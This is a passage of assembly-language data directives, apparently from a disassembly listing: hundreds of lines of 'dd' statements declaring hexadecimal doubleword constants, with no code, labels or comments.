		dd 0AE00A0DFh, 50A2558Ah, 21F6F21Ah, 0E0CE1BE0h, 54213042h
		dd 0A82E4A1h, 0D612315Bh, 11F1C758h, 80837B14h,	0B41E258h
		dd 0EDE83616h, 18661448h, 0D931601Dh, 4AFF27C2h, 5F44023Ch
		dd 0F568890h, 17E8E7A3h, 942393B9h, 0C32CE1E0h,	0ACD204F3h
		dd 0C0E00247h, 2E54D622h, 0AA961200h, 367611E3h, 6013574Fh
		dd 0AE3DEA02h, 0A48361DAh, 4008E362h, 2FFA16h, 0B6135007h
		dd 2C148982h, 0C058B976h, 98265CBDh, 31428055h,	8F945853h
		dd 8CE824E3h, 0F65BA243h, 0A51D051h, 55087B18h,	0A812CCEh
		dd 48DB82h, 0F63617F5h,	0A0A5239Ch, 62AAB782h, 0B4C89078h
		dd 76170AEBh, 70B8FDC3h, 0D3189F2Dh, 0C2309201h, 569CA023h
		dd 1F48A65Dh, 240EDF25h, 24D6BE08h, 3B361502h, 2079DBFh
		dd 2956E03Ch, 0C0DCFDD2h, 0DBD3A734h, 8862A9C6h, 8274A530h
		dd 3A9073DFh, 2545B090h, 501757h, 9184A37Bh, 1452AC6Ah
		dd 28ED67A2h, 0B13370A0h
		dd 0AB4C2C01h, 0F8468252h, 22EF8C41h, 98575895h, 137C720Eh
		dd 23A58B83h, 2C529FC0h, 0BD4C3CAEh, 684B12FDh,	0BEE22000h
		dd 50361351h, 496D415h,	0F62C66CCh, 1640802Dh, 4BF169A0h
		dd 446E01F8h, 0BFFBC9C1h, 24C69020h, 58A41792h,	0E01BF101h
		dd 0E8C044D5h, 14110A5Dh, 50677896h, 0F9D8EA0h,	0AAF8FD12h
		dd 90EE900Ch, 0A0A705B6h, 304C621Ah, 11469818h,	604F4B30h
		dd 0F0CA8C62h, 0FD223EB6h, 2691D600h, 74FB3621h, 0A957FA09h
		dd 0B390007Ah, 6197F8C5h, 69F4111Ch, 16745C22h,	0A4C4E50Ch
		dd 0A0426013h, 1F9615BAh, 0CA2C6538h, 0FDC3BEBh, 0F1F684Eh
		dd 36858B81h, 16C800EDh, 0A91C2799h, 1F73D300h,	1EA5E289h
		dd 0C0680309h, 0C185C91Dh, 0CEE080A7h, 4A31EAE8h, 64041050h
		dd 40FBE9F0h, 41076154h, 4248CAC6h, 0AC672A40h,	0B0FC011Fh
		dd 0EB7DE968h, 0FF0AF0B4h, 1DE83F3Ah, 0F70F7822h, 2DBD0050h
		dd 0AA07C0h, 5F93FC9Ah,	1F5488CDh, 0E33E693Bh, 1C6B2308h
		dd 5B1E6880h, 0DAA0B1C9h, 8A18C6CCh, 0E3B8A02Eh, 299CE88Ch
		dd 307508h, 0E618DCE1h,	58B09843h, 0E960BC61h, 0F88C6ED0h
		dd 695083D2h, 4A93581Eh, 868112CEh, 7C78F622h, 0F128C6BDh
		dd 750570AFh, 652AC59Bh, 0D7298803h, 0A608793Ch, 7E90166Ch
		dd 954400F8h, 53EA8D5Fh, 59F168C7h, 83A34942h, 85709C0h
		dd 3BBA8A50h, 5327625h,	2179DC4Ah, 0FDD34028h, 416D1064h
		dd 1148C05Ch, 0C78AED10h, 29187578h, 77B07B50h,	4AD118FFh
		dd 5B09C0B1h, 28A10C6h,	98863AC1h, 7ADD6A0Ch, 0A2006C48h
		dd 7F4F891Eh, 3E4D8AD2h, 151C1D48h, 10AA45EDh, 248003CAh
		dd 0C0281322h, 3133ECA6h, 28F6407Ch, 1894EF79h,	0D03D8ACAh
		dd 0B8A0E370h, 0A9E88460h, 0A8E0D930h, 1C6CB72h, 0EE2CBA4Ah
		dd 814F7DAAh, 1C26C430h, 31D70549h, 0DC198B20h,	36AE0AEh
		dd 610C6F49h, 0B03BCAF8h, 6368889h, 0B2890403h,	81291001h
		dd 0DCB6EAE9h, 120C088Ch, 289069E0h, 1893CA31h,	2887D80Ah
		dd 73C4AB4Ah, 3E0ECC89h, 1FB2C1A9h, 10C9A54Ch, 6321C7D7h
		dd 0C7090141h, 2FC0C3AEh, 0A907036Ch, 0EA937359h, 6BD3AA80h
		dd 377C7812h, 4460780Ah, 0A93C80BDh, 0E80EBE9Ch, 9FCDDE4Ah
		dd 1C287000h, 0CA2DB4C9h, 3AC489F8h, 0CAD8FC30h, 0AAE8B1D7h
		dd 0C592261Eh, 0E879A50Ah, 4A186518h, 1E9F0462h, 57B6F69h
		dd 0B8048751h, 98818EDDh, 0D820BD39h, 0E01E924h, 962885E6h
		dd 8414EA04h, 2C907F4h,	0E554E96Bh, 0C0FCA483h,	35DC1F89h
		dd 28307491h, 0FC3D40DCh, 0AC42A444h, 96454D01h, 83C6E91Eh
		dd 3D65A9F8h, 4B248988h, 0E9E71824h, 50CA7ADFh,	0E908D830h
		dd 0BACA0CBFh, 0F1338A08h, 18403047h, 38C11811h, 0CDA3B5AAh
		dd 692C81FCh, 2A34208Bh, 0F0E10332h, 49848268h,	690860E0h
		dd 8A30C064h, 0EAED117Ch, 20C53824h, 7CF93C3Fh,	88B86B32h
		dd 0D62C48DEh, 48889829h, 0AA092C2Bh, 28040748h, 697891DCh
		dd 0D87420EBh, 0CDC0C0A3h, 2A07E9DBh, 291E19CAh, 48012E6h
		dd 8AE86A21h, 4A20C13Fh, 0F01C2178h, 2890D518h,	74E41E3Ch
		dd 721031Fh, 936F6000h,	0E8752EAAh, 44F52C2Ah, 78400F16h
		dd 0BA1292h, 0EC58291Ch, 9201AAE8h, 0E7891324h,	6020ED0Fh
		dd 0C3A4A015h, 0D3D0C9E2h, 0AD01A022h, 244B1C41h, 8650BF14h
		dd 10C0BCC8h, 0EDE6A60Ah, 34D34DBDh, 9811D5C1h,	5F94D0D1h
		dd 66486498h, 0C80330B8h, 0A96DD29h, 7D70EAC5h,	396B401Ch
		dd 0D440FE9Ah, 48CA4C0Dh, 2464913h, 44A4A940h, 66264040h
		dd 7BFDE914h, 5D04DF20h, 0D4D05A12h, 8275F5EDh,	5AE13430h
		dd 0D6E36410h, 2F1CD1Ch, 7DEDCAD1h, 0F4B28082h,	97E58C82h
		dd 41D57461h, 34DC698Ch, 46896374h, 40256412h, 13A9F804h
		dd 0FFC54CC7h, 0B886FC4Ah, 0A3440909h, 269ECD74h, 8874E640h
		dd 97084B91h, 881308E4h, 90E3A30Ch, 44789A64h, 0AC899141h
		dd 0B08CB817h, 904E0827h, 0E32A2454h, 0D96A1C80h, 20D2C0ECh
		dd 664DCA64h, 2A751678h, 0B398201Ch, 9882BC10h,	7EC13574h
		dd 0A8938608h, 78986CE0h, 3EBC9E44h, 4720036Dh,	0C3EAA910h
		dd 3C6B771Fh, 68021Dh, 0D3DE8169h, 6C61C8ABh, 0AC7C130h
		dd 70E48F0h, 30FE2976h,	0D36AC239h, 87D98861h, 0DD88C958h
		dd 0D6ED860Fh, 158C0018h, 9641CA81h, 0C7620A92h, 4048C960h
		dd 7436EA7Ch, 0ED6A2C6Eh, 0AF0A04C0h, 89BC871Ah, 66A97C00h
		dd 2A16E8B4h, 58099D62h, 0A18CAEFAh, 9A291315h,	0F87B852h
		dd 0C793D104h, 0A309C94h, 13009648h, 640544C9h,	7C83DB69h
		dd 676CA8Ah, 892608E0h,	63897487h, 68E803A1h, 3A481297h
		dd 0A078049Fh, 4A90C364h, 18481878h, 8E9C1250h,	2031A449h
		dd 0EED450B8h, 96F604Ah, 0CAE96DC7h, 0B6CC44Ch,	5035EA9h
		dd 0A8D2A4C4h, 5C986969h, 0DEB1189h, 0C309248Fh, 0C6DF2084h
		dd 84AEAE94h, 15832E0Fh, 11B54371h, 1030ADADh, 498137EBh
		dd 0B800E41Fh, 1C6251BAh, 9CE87BA8h, 30219600h,	33733B3Ch
		dd 2A28384Fh, 0A9601900h, 971F1053h, 9CD9A200h,	1E3C6283h
		dd 75BCE877h, 9E3060DBh, 69DFC80h, 7C207252h, 8E909A08h
		dd 20F90007h, 64DC627Ah, 70A72C4Ch, 0FC30F800h,	3C088D0Eh
		dd 60AA2B7Ch, 0A89B8044h, 9824488Bh, 5133A278h,	1584859h
		dd 16BB9CC8h, 8A043C61h, 20251C08h, 0D8B01560h,	880D60FAh
		dd 624E7939h, 74D7FC14h, 0E0A08114h, 0F18E0708h, 61803959h
		dd 605FE5FCh, 71725C18h, 7CE676F8h, 3FB60064h, 56C8DC67h
		dd 0F23A3B26h, 42DB0055h, 0B9BB2593h, 98D7672Dh, 0AC06CF57h
		dd 740F10B2h, 697CD416h, 35DB03E4h, 3EC80F38h, 2286670Eh
		dd 3B03A037h, 0F57DFDE7h, 32100353h, 809DF3D8h,	0D25D0800h
		dd 0CB7C618Ch, 1409E8A1h, 0A067B34Dh, 45C68CB0h, 0D7FD700h
		dd 263479A2h, 7BDC794Bh, 7E2E8FFh, 0D25C610Bh, 879C4118h
		dd 42E7E39Fh, 28B86279h, 0A1108E97h, 99006D06h,	5C337ED9h
		dd 30521FF2h, 84FBC1C0h, 31810F11h, 9C090B9h, 8018229Ch
		dd 0A40D454Eh, 3808480Ch, 9DE3BE01h, 425570DCh,	0C08392F8h
		dd 61DA307Ch, 0F96820B8h, 0B1BB410h, 908D5076h,	12BE293Ch
		dd 1070C08Ch, 0E6FBD7Bh, 81FE1C30h, 0E4181CD7h,	1D0A0AF3h
		dd 2988B781h, 0D039010Fh, 22FB2659h, 0FD9B8124h, 0F18027AAh
		dd 0D7B40A59h, 920C7F7Ch, 98DDBC08h, 76E2311Ch,	0D37339D0h
		dd 31D65BC0h, 70524EF0h, 0A52F0228h, 40275D18h,	0F8DF7980h
		dd 16BC01D7h, 195B2670h, 1540876Dh, 4EC26569h, 7DE88308h
		dd 1242AF8Eh, 0B75C40FEh, 0FF6474ECh, 313CE020h, 1818C809h
		dd 5B3C200Fh, 0BDF3D703h, 0C00895D1h, 2409E02Bh, 604533Ch
		dd 0B8A070FCh, 5C109A61h, 0DC2091EDh, 6219DE83h, 0D8C7EC32h
		dd 5524496Dh, 6E78DC51h, 9DA74888h, 4807C34h, 0E8089B69h
		dd 8C10DE7Fh, 0D48C9E5h, 39C09466h, 63A7F038h, 6641088Ah
		dd 98A94814h, 10C27EF0h, 43A2D9DCh, 0F018AE88h,	7B967805h
		dd 25A1CDBCh, 30B2FD50h, 99245C34h, 2C0FBC3Dh, 5F7C03A9h
		dd 881819A7h, 419EB038h, 86BD1C9Ch, 54DDC10h, 10640330h
		dd 0C4C75C67h, 3300819h, 28848E90h, 0C8A5EBCh, 4C5CD866h
		dd 1C1C2071h, 0F4503114h, 47208F02h, 0A5BC8329h, 0FFCA063h
		dd 1C549037h, 49FDF3B3h, 30878950h, 1D227F36h, 860E61Ah
		dd 18C6BE1Fh, 31383BB0h, 0C4603110h, 0C8C3F327h, 3D4D58A6h
		dd 65B51818h, 0A0DF1F28h
		dd 0F0629AE8h, 61D4E9DCh, 44454849h, 0D8238914h, 0A9DF0374h
		dd 0BFD2E967h, 0B8041809h, 2EC1609h, 4BF337C7h,	46196F7h
		dd 70D4443Ch, 52910514h, 0B808437Fh, 44DB9A4h, 6074D5BCh
		dd 30651683h, 0D950CEDAh, 14A5FFA5h, 5786D003h,	1250F6EEh
		dd 256DEF9h, 64243168h,	344618B8h, 0F0ED7622h, 0F3E004C2h
		dd 83173A7Dh, 81D4C814h, 0A676ED98h, 1E3E1049h,	183E5442h
		dd 69105334h, 24249093h, 0A14560Eh, 1A827BBh, 29300384h
		dd 0FCEC4001h, 600E4D8Bh, 9547A39Ch, 0F0C2C048h, 806FE8EDh
		dd 0DD51FB39h, 802422F9h, 27A77A9Dh, 0A4B70A14h, 6E80259h
		dd 8DAF8DDh, 9DCE74Ch, 44258FCh, 14801244h, 0C72AFBDh
		dd 35B46962h, 58B051A8h, 4602C91h, 8461754Bh, 18AF9024h
		dd 0C001613h, 9BDC21Ch,	0DF30E2FCh, 930ECD0h, 40220ABCh
		dd 3C414864h, 7C0470D8h, 0F3A68202h, 30733B3Dh,	0E5249972h
		dd 0D545142Fh, 331C3480h, 26849074h, 12B8DBA8h,	94805ACh
		dd 2A28C101h, 222861D2h, 26C4CFF4h, 28B960A8h, 188432B9h
		dd 0B8797CDCh, 0C9F09BF6h, 0A8D257h, 0DC155514h, 10784CEh
		dd 0C3D76D66h, 0D0D4E0EAh, 878698Ah, 0EB7B5700h, 3F334A92h
		dd 0B6DD009Dh, 1DA762F6h, 2507D4E9h, 860D6155h,	10203E35h
		dd 8D633h, 78376E7h, 0C6B72AA6h, 9B56EA0Eh, 3CD49F93h
		dd 5A029C18h, 772CE94h,	0CC1DF0C6h, 92ECF46Ah, 181888A2h
		dd 0A2108DE4h, 0E60393A8h, 0EACC92D7h, 0D0C10E91h, 8AE855B8h
		dd 5C3553h, 48E48178h, 0D5D84h,	0CC94C806h, 6BAC8DAAh
		dd 4568EA70h, 0D4C06878h, 6008591Fh, 0B526388Bh, 2A0ECC3Ah
		dd 8AC2280Ah, 76601864h, 50C9A177h, 304690B9h, 8D583EAFh
		dd 80A5C2F2h, 4823EE80h, 4C5E511Ch, 7DE20Dh, 56686AC6h
		dd 87458ACCh, 0A4A741Ah, 48816A0h, 51226ECDh, 0F586007Bh
		dd 26A6BADh, 4A5DC97Eh,	549429E3h, 39809E0Ah, 1B42D49Ch
		dd 6809C91h, 0EB2B4845h, 0C60AA057h, 146B5C50h,	0E2A1EDE0h
		dd 2CC44814h, 0F8FBE61Ah, 7BC77838h, 280D5710h,	6EE2060Ch
		dd 0DB3A74D8h, 6F7E14C1h, 0E0832BCCh, 0A2AFF483h, 2639008Ah
		dd 6AC37620h, 0B8C709E5h, 8843011Eh, 6877F0B7h,	0A46012ADh
		dd 977C0113h, 0CC1E75BDh, 8207D576h, 0AB835C34h, 164C4871h
		dd 63FAA1FBh, 75521848h, 898E00E0h, 0EA7C3483h,	48057744h
		dd 87588AAh, 18206A84h,	2F1FAC3h, 3294EBECh, 2898FF9Ch
		dd 5678E7DBh, 34813D00h, 7558B5BCh, 41423AA8h, 395D280Ch
		dd 436317B8h, 7D5A5908h, 0E82F7C20h, 74C73B9Ch,	0A5BB7980h
		dd 8E7FD5E8h, 636384FEh, 0A7624B28h, 7C30C6C5h,	63996A22h
		dd 2DDCC924h, 0D03D6931h, 68BC7488h, 8D977301h,	70813108h
		dd 0EC021899h, 0C1EEE8A6h, 0A307E0A5h, 6595F877h, 5FB6889h
		dd 33ABA884h, 5091B238h, 0FC00D221h, 31756EC5h,	0C8C85188h
		dd 0BF184CDDh, 7BC33F0Ah, 1C069C1Ah, 3AF027A9h,	283D30B8h
		dd 0DF02B457h, 0E89AC9E6h, 33B23C01h, 8303F84Eh, 1CB8716Dh
		dd 775C281Bh, 3A18F980h, 6F896DAh, 8954E2C9h, 7C393015h
		dd 8F40D2BCh, 3ACEE27Bh, 3F9C001Fh, 88527016h, 0BCEE80F8h
		dd 0DD032924h, 22488A28h, 99EC5054h, 1D3EDA10h,	5519DC1Fh
		dd 96C0508Eh, 0F32D0237h, 0EC9EFC80h, 83F8A577h, 1192CD93h
		dd 21C790Ah, 7B70BC1Fh,	5DA6351Bh, 20B882C9h, 54047894h
		dd 0EE5222D7h, 0EDDA851Fh, 0C06470A6h, 4B20334Dh, 3D7C0A04h
		dd 0E03C7587h, 742BEAB1h, 8C9CB4A8h, 0E803D177h, 889BB8DDh
		dd 480809DAh, 7807D0B2h, 0C882BF15h, 70476317h,	5B952D86h
		dd 6CC98C9h, 2F68A5C2h,	5D62D048h, 2349709h, 9C80359Dh
		dd 8874D3CEh, 68700F62h, 0BD5448EBh, 8108CD55h,	6704B80h
		dd 4E5D1D2Ch, 0CDDC02E9h, 0F52D756Dh, 5059D8B8h, 327AA11h
		dd 75728102h, 0B0B80F0Dh, 0B4100BD2h, 0B0731CC9h, 6D751455h
		dd 0E5C028F0h, 8293AF27h, 3C2BC000h, 0ED9B538Fh, 0ECF38E0Bh
		dd 611F680Ah, 8E852BBFh, 0EC2CA5BCh, 30BAE649h,	7C286AE8h
		dd 8D0EAFD9h, 9FAD4448h, 0A8083618h, 91957C8Bh,	0A9E36070h
		dd 0A3617A56h, 858B9C90h, 0A2FC9C40h, 8EDC7FACh, 0D07A9606h
		dd 30B8C3h, 0A6DA4DBCh,	771EAAA8h, 210930AEh, 20532216h
		dd 83ADDC3Ch, 60BC998Eh, 7B27307Ah, 0FCC86062h,	48504134h
		dd 0B8233AC9h, 0C21B3E80h, 76738B34h, 884C1C35h, 0C8E2C2Ch
		dd 0B2A25058h, 5293C28h, 0C1C0A4BBh, 2CB7073Ah,	1A2C743Dh
		dd 7C965091h, 6FF2006h,	35283CE8h, 2C50577Ch, 58FA8AF4h
		dd 9C510460h, 0AEA5B7AAh, 76BA1F64h, 49F7527Ah,	0C8822C7Ch
		dd 94409BC8h, 5E48B828h, 0F8C1E4C0h, 3824D7BAh,	61872CDCh
		dd 290F3F80h, 2F09C88Eh, 9C0E049Ch, 348D40D3h, 1BFC0588h
		dd 0C82C7263h, 4787056Dh, 60933E9h, 50505AB0h, 105D9224h
		dd 1C85B50Bh, 4582061Ch, 3819F862h, 0B2EA3C0Fh,	2AABE29Bh
		dd 0B82845E6h, 0CBEF18FFh, 0DAB1151h, 0C708A618h, 3AEAE108h
		dd 1200FA1Bh, 8B400447h, 2400E58Dh, 9C6D0A26h, 30B19Eh
		dd 0A1EECE5Bh, 0F5040B8Fh, 1550E10Ch, 0E638F4h,	6526BA3Eh
		dd 0C3BBC828h, 0E531A4Ch, 23AA7869h, 0C75B2C97h, 0C471A8C0h
		dd 616B006Ah, 0A67ABAA2h, 0F1007010h, 861812E0h, 0CB1EA9Ah
		dd 47B39BFFh, 0EC00CC61h, 0D1E9E8FCh, 1E45052Dh, 4FFBB24Eh
		dd 0A460BA2Ah, 0D5F59374h, 4E37800h, 515BF418h,	0E27F008Ah
		dd 3D01959h, 0B300C560h, 0DFE76B5h, 14FA11h, 8CFB05EFh
		dd 0F96C7D84h, 442C7200h, 2106018Fh, 0CCF02831h, 3ABFAF9h
		dd 880D3F13h, 5401FC59h, 9052941h, 0CA40424Dh, 0F961E4h
		dd 5E4812A1h, 0FF0F10C5h, 838FD63Dh, 508E5FA5h,	9A00D79Bh
		dd 3A95BF1h, 0EEE4AB34h, 1FB8D437h, 0BE07C981h,	7DC85F45h
		dd 0FE1E9D40h, 0ADFC0015h, 149F33C3h, 94482CF1h, 307C004Ch
		dd 31EB52E3h, 469B13E1h, 1BDA0329h, 74E89FD5h, 70001390h
		dd 0F7403E89h, 0E1041Dh, 0DC6EF621h, 0CFF1ED61h, 94C91E00h
		dd 4D6B826Dh, 1AA75DBh,	674EFE3Bh, 0D4F5DEBDh, 69390816h
		dd 1B130312h, 0F0F931E5h, 5DA799h, 0C1820ECCh, 0F3FCDFF0h
		dd 98335200h, 0D827F8ADh, 4869906Eh, 0C707407Eh, 3B2158h
		dd 89C5CF6Fh, 0ED26C200h, 299BF3B2h, 4A491D4Fh,	0C0F91D63h
		dd 6A3821B4h, 0E8053559h, 66AD9F97h, 61E1C0AAh,	0F9006964h
		dd 1D877A0Fh, 40C731h, 0F4209CFBh, 0EC4B30A9h, 6A0F1700h
		dd 592B1B08h, 0F31C0778h, 50C5EB7Ah, 34E4EC4Eh,	0A6B4A103h
		dd 0B8364886h, 0BE24EAh, 0D70EEFBAh, 0D04CB2Ch,	0E03097E6h
		dd 79127022h, 0FF7F00F0h, 5495F7DCh, 0A41E3305h, 4BFCDCEh
		dd 46D61792h, 8AE4AD80h, 0FD74D9h, 0CE442859h, 8FDAE12Fh
		dd 0C6005AE2h, 0FFA205AFh, 0C84D6CBh, 9A670219h, 2000EBE2h
		dd 0C871ACAh, 0EEE1B7A6h, 9100E8Fh, 0A1607948h,	0CE58FF42h
		dd 9A08EC1Eh, 5D5794C0h, 12CAF1h, 8DF0D7BFh, 8297D59h
		dd 5B4F521Dh, 6783A30Fh, 0AFB0BC70h, 0F0BFE9Ch,	3DDE6EEFh
		dd 7053E307h, 8EA8682Ah, 6EE8C34Bh, 3403B03h, 0E9D0A5F0h
		dd 0DB0328B6h, 0DE05ABF3h, 0CE82A047h, 0A7902A89h, 2A7D1DB8h
		dd 80BA5F9Ah, 6BE7ADDAh, 850333EDh, 4ACCC17Fh, 465E9830h
		dd 42DB5C0Bh, 27A116h, 0E814F51Dh, 8A00DC16h, 4C792932h
		dd 0A0907DFCh, 0F086DA7h, 0E465D134h, 0D9F4FDC0h, 6E7F58DFh
		dd 0AFEA0E00h, 0F768CFC5h
		dd 1AFA0067h, 138841DEh, 0A001915h, 2249982Eh, 39D275Ch
		dd 0E0F39AF4h, 0E9BB93DAh, 37B8B800h, 1F1582D5h, 77AAEh
		dd 908BE804h, 0F2A19A35h, 0ECFEE3Dh, 45325989h,	0E8871E8Fh
		dd 4C5F9710h, 2F2D0F43h, 0B140427Fh, 0AAB28EF4h, 999E3000h
		dd 5416CAFCh, 35E700EEh, 0FDC0B913h, 55710460h,	3EAACF00h
		dd 8F4621A4h, 7617EEBh,	0F5E809D5h, 56FB0019h, 0F700C34Fh
		dd 0DB7F1ADCh, 0E4488Bh, 6693B811h, 0A7FDE5B3h,	9649B512h
		dd 61C14840h, 0ECD6C66Bh, 181D0007h, 0E55A6776h, 0B500A617h
		dd 51EC6A8Fh, 7E2ED0h, 94B171EBh, 3EF86C18h, 16F384Ch
		dd 1D10B54Ah, 3FE85DFFh, 0FBC40092h, 0D176DEE2h, 1A0052B2h
		dd 6B0567Bh, 626453E9h,	0E64D2810h, 0DD509440h,	14175B07h
		dd 71B18A47h, 0D5CC2801h, 70ED17E6h, 62A80090h,	5D1782B6h
		dd 100B473h, 5436C0A2h,	0EF6432Dh, 383D38Fh, 0D2F7C240h
		dd 85161642h, 70099D28h, 4378000Eh, 3A05388h, 0D7F31103h
		dd 0CF988451h, 5801C38Ch, 3EB872F2h, 0DDCD0B01h, 0B54E3BDCh
		dd 0D300E578h, 922526ECh, 1551D79h, 0C40AAED5h,	8024524Ah
		dd 0D423E718h, 385D49h,	2AEEE24Dh, 0E8E5CDD9h, 0FE03F8F0h
		dd 7AEF66ACh, 2E61C01Dh, 9FB203AEh, 7EF26F1Fh, 0DF69F598h
		dd 0B0DC43BDh, 5F64C0h,	78B26B2Eh, 2359B3BAh, 9B7B0F00h
		dd 8DE29691h, 0DB250020h, 4BC2C5F8h, 0FB0F9E06h, 43A65649h
		dd 0C8A97DCDh, 0EC120Dh, 1315B377h, 1EF51FE9h, 75597B0Eh
		dd 80F78F62h, 0AAB3BCEEh, 1660056h, 3113541Ah, 0FD2C9114h
		dd 1D18C983h, 0F45206h,	480C6ABFh, 7FC23866h, 4969A809h
		dd 0FEAB800Fh, 24E8F9h,	226C123Ah, 0B685713Dh, 0B8544C0Bh
		dd 5D00756Ah, 0CF2CD4E0h, 240CB50Eh, 3E848015h,	887606h
		dd 5823178Eh, 6B0955E3h, 0EAC2A900h, 0B764EBD3h, 0CC0F0C29h
		dd 2441C990h, 40989900h, 0A59241A4h, 4390325h, 0D5D9B2E6h
		dd 60FF6BABh, 87A35D27h, 0BF37553Ah, 0B5CD80D4h, 92E52835h
		dd 203906DBh, 30F832A9h, 6C53F700h, 36724509h, 0F6916019h
		dd 0FB69EEB7h, 0C0676006h, 180F6Fh, 1912331Bh, 9C7EF3C5h
		dd 4DB65400h, 87BE6220h, 0E09907F8h, 602FF445h,	77E567Ah
		dd 0D4C42C00h, 64F60D3Ah, 29E900A8h, 19E61E2Bh,	0F200A6D5h
		dd 0C0C8E327h, 0B25EBDh, 67FE4D2Ah, 91F76C0Dh, 0FDAA3724h
		dd 8E39B000h, 79990285h, 717A008Dh, 9378F4BFh, 6300E8ACh
		dd 0BB732044h, 76486126h, 700600EEh, 8D502572h,	9B1EB9BDh
		dd 1180955Ch, 0A44F4CBEh, 2B225CA3h, 0F846F603h, 0E0D0C31Ch
		dd 0BB000278h, 0B3390FE9h, 3F06EC82h, 0B48032F9h, 0CD2BB703h
		dd 9B005A26h, 9AADCA52h, 7D3DF2C2h, 43020079h, 27655CE5h
		dd 0C7007A0Bh, 1DC421FDh, 482DE1A4h, 3A031412h,	72898E52h
		dd 84E2E498h, 0CD2A4C00h, 8F82E921h, 91DF018Ch,	33161FFh
		dd 83A6DCD8h, 0F90054B8h, 0E58E7944h, 7FE2C5Dh,	0FE74F55h
		dd 67807ED5h, 8E383D54h, 0E3A5303h, 8876D198h, 4CDECF41h
		dd 27DC190h, 0C8FE377Eh, 0A1800275h, 0DFB0BED5h, 0C971680Fh
		dd 4A64A7AEh, 0DE05B37h, 0A01BCDh, 40C00B0Ch, 0FFE8D4C3h
		dd 6638F60Fh, 0C6E22716h, 7EDC8Ch, 50234B0Ah, 339E5189h
		dd 24CB104h, 7083EF05h,	76CDD862h, 59E53DE2h, 0A8A39F81h
		dd 83FD3374h, 7AC65D20h, 833800A2h, 4FB22BD7h, 28A84E2Fh
		dd 38132A14h, 0F501767Dh, 44BF8DB8h, 1D75830h, 0CD540ACAh
		dd 86ACD28Fh, 9F89FE70h, 86442438h, 0A6830D9h, 20C0777Ah
		dd 8DC3A17Fh, 0A3CB303Ch, 0D4D5C828h, 224F9818h, 50F65540h
		dd 1560F4h, 357ECD34h, 0BCBFC261h, 0CF3043E8h, 8B9721E7h
		dd 386F601Eh, 86DCFB8Ch, 13DAB70Fh, 9802603Dh, 1C0DB58Eh
		dd 7C019262h, 1A913700h, 5D2DC919h, 0A141430Bh,	0D1428384h
		dd 8D8E018h, 0F87EF449h, 1C1B0039h, 72145BC9h, 54003892h
		dd 0BA3DFFA8h, 33FD19Dh, 0A722ED33h, 0F9C8A16Bh, 0CC00F263h
		dd 2031CDA9h, 0FEFACEC0h, 3EA200B1h, 49AF3537h,	0E8B08919h
		dd 17FBE500h, 0C666DA1Fh, 670D4h, 0E09170CDh, 8546055Eh
		dd 28BD2A00h, 0E90218C3h, 695C0037h, 0A0BBC2ACh, 1F776FA3h
		dd 0CF80D81Eh, 0C5183580h, 1F05638h, 5CC8A107h,	50159C52h
		dd 0B2404CACh, 9DE0C741h, 1861603Bh, 4E876082h,	0F18C5E50h
		dd 0BCF7FA00h, 0C080A37Bh, 7A2615D0h, 1D7AB8FCh, 403BD77Dh
		dd 932125C4h, 0C0A0FE39h, 69C0669Eh, 0ABD66509h, 5F20003Eh
		dd 0AFB67B1h, 322927A4h, 0D50E040Ch, 0DD6508EFh, 0E1401780h
		dd 4BDB8Dh, 6B7731E9h, 0FF3FC5Bh, 2E81D72h, 38305A60h
		dd 0E0294D0Eh, 8AD80E36h, 0B583340Ch, 184667A4h, 0F474C534h
		dd 0C59F080Eh, 42D37FEh, 7C12E4C0h, 0E93F17FDh,	1BB600ADh
		dd 212418A3h, 0D43E2A7Dh, 0FAF23FCDh, 626119C8h, 2510BF44h
		dd 0E4548428h, 2B429D18h, 8ABB6B10h, 7D880C79h,	2975420Dh
		dd 20725B10h, 7154A4F7h, 6F505518h, 2886ED0Ch, 0EA24C104h
		dd 8821843Eh, 0CC91570h, 18BC1F14h, 0E524452Bh,	51604A5Ah
		dd 0B8716284h, 380C4D11h, 2CA918A8h, 0F3B51184h, 30A97A1Bh
		dd 0D92452B8h, 40F30CA5h, 742B5524h, 0FC007B94h, 0CF2596AFh
		dd 31FAE393h, 33194683h, 88F6088Ah, 31EA55D1h, 0BE4CC000h
		dd 6C380C5Eh, 732E0E14h, 980F047h, 19202395h, 4CD148h
		dd 342664E3h, 5CE852h, 29BFB0A1h, 8B6C0F7Ch, 0BE0038E6h
		dd 19C7AD05h, 0DE10CFh,	6548153Ah, 6A8C9475h, 47A3F91Fh
		dd 0D95C1400h, 0B5FC2Ah, 9F0E7A02h, 0C53BFBDDh,	0CCA1F960h
		dd 10AF98FDh, 0EA226A4h, 0B83AD7D3h, 0FA91588h,	2EE90ACFh
		dd 0E112C9E0h, 62608566h, 0A491EFC8h, 1CA05282h, 489A60A7h
		dd 56287D29h, 0E577582Ah, 9D50E400h, 41840D0Bh,	5CCB0012h
		dd 8BE3929Ch, 0D72AD671h, 0C3058CB6h, 8A18436Eh, 46C08401h
		dd 0EBF4900Ah, 3ADD0CCEh, 12D9EDC5h, 8496DB06h,	5014F9h
		dd 0B6A143C2h, 0C0CC5EDDh, 2A9C14A0h, 7F8C3700h, 0D6B532E9h
		dd 56CF00F3h, 0AE18A5EFh, 0BC708B28h, 5C65FD00h, 554A68EDh
		dd 0B5E00FAh, 1BE65AB3h, 0F71DD72Eh, 6B00C849h,	0C88D116h
		dd 1C1F72CAh, 80410DBBh, 3B6F5385h, 240049E5h, 60222FD7h
		dd 1EBD545Ah, 0C0993198h, 0B9BCBE40h, 44039AACh, 5E35549h
		dd 8060CFF7h, 3D30C1h, 57527233h, 0B50A535Fh, 7F3A44FEh
		dd 5B980AD4h, 0EB40D8h,	3617B42Bh, 44EF00D9h, 0E53FB51Bh
		dd 0B0032FD5h, 0B8040E2Ch, 0D6CDA0BBh, 610303EBh, 0DE83B65Ah
		dd 83E6C3C1h, 0CD8C5EA8h, 9978BB5Ch, 0A0804689h, 0F2EA246Dh
		dd 0EF18A91Ah, 33B99DDBh, 8A0100CEh, 2B52FDFBh,	2DF8E65Eh
		dd 486CD876h, 50F71820h, 0C05888Fh, 0EBD2840Ah,	0F3305308h
		dd 352D1887h, 184AE47h,	0C1323139h, 0CC0E445Dh,	0C300EBE6h
		dd 0DDB1E782h, 50876384h, 7B39CC43h, 60A3F2DBh,	0B849280Fh
		dd 0CF90E3C2h, 289F9200h, 0EE2DF388h, 0DA2A0743h, 0A1C4958Dh
		dd 0E7CA76DCh, 737F83E0h, 0B680E750h, 89111A00h, 7B2F534Bh
		dd 18E60ACEh, 8C840A45h, 84408CEBh, 0C2823B02h,	8732F5B5h
